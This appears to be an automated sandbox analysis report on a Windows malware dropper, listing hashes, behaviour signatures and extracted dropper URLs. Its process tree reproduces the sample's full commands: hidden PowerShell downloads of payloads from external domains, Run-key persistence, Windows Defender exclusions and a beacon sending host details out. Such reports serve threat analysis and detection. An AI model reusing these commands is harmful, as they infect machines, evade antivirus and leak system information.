Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/07/2026, 16:47

General

  • Target
    d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
  • Size 534KB
  • Sample260702-vasrvae19p
  • SHA256 d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://rdpftpower.com/ftpower/ftpower2/ftpower.bat

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://calculadorazt.com/contador1/actualizador.vbs

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://calculadorazt.com/contador1/miapp.exe

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
    "C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\ftpower2\instalador_ftpower.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs' -OutFile 'C:\ProgramData\pcsftpower2\autoejecutor.vbs' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs','C:\ProgramData\pcsftpower2\autoejecutor.vbs') }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/ftpower.bat' -OutFile 'C:\ProgramData\pcsftpower2\ftpower.bat' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/ftpower.bat','C:\ProgramData\pcsftpower2\ftpower.bat') }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2064
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\pcsftpower2\autoejecutor.vbs\"" /f
        3⤵
        • Adds Run key to start application
        PID:4192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\pcsftpower2' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6092
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\ftpower2\autoejecutor.vbs\"" /f
        3⤵
        • Adds Run key to start application
        PID:2672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2\Admin' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$os=[uri]::EscapeDataString((Get-WmiObject Win32_OperatingSystem).Caption); $url='https://calculadorazt.com/contador1/registro.php?pc=MEEEPEGR&user=Admin&ip=local&os='+$os+'&instalado=0'; Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4432
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM miapp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5144
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:5584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/actualizador.vbs' -OutFile 'C:\ProgramData\ftpower2\Admin\actualizador.vbs' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/actualizador.vbs','C:\ProgramData\ftpower2\Admin\actualizador.vbs') } catch {} }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/miapp.exe' -OutFile 'C:\ProgramData\ftpower2\Admin\miapp.exe' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/miapp.exe','C:\ProgramData\ftpower2\Admin\miapp.exe') } catch {} }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3172

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        instalador_ftpower.bat

        • Path C:\ProgramData\ftpower2\instalador_ftpower.bat
        • Size 3KB
        • SHA256 57f5f9c6fe94f7f598bc010cbc8a1fe1169962b524f28463272e044bd43d17b6
        • MD5 SHA1 SHA512 TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bbc0d27889a286d70085d9f91d7f249d6ec74ade40102a31abbde6c4721afe54
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 920b0533da0c372d9d48d36e09d752c369aec8f67c334e98940909bfcb6c0e6c
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 713fd2d6106debb7a0cd971d39db116e6156bcbb3408630a7772756f413bdb2e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4ef53879721e91ecae0a794dffd043ff6df1de7380cdf449d18cde99ca4d1770
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_wfsrecyt.55u.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wfsrecyt.55u.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5700-53-0x0000024EAA490000-0x0000024EAA6AC000-memory.dmp

        memory/5820-5-0x00000142F6870000-0x00000142F6880000-memory.dmp

        memory/5820-6-0x00000142F6820000-0x00000142F6842000-memory.dmp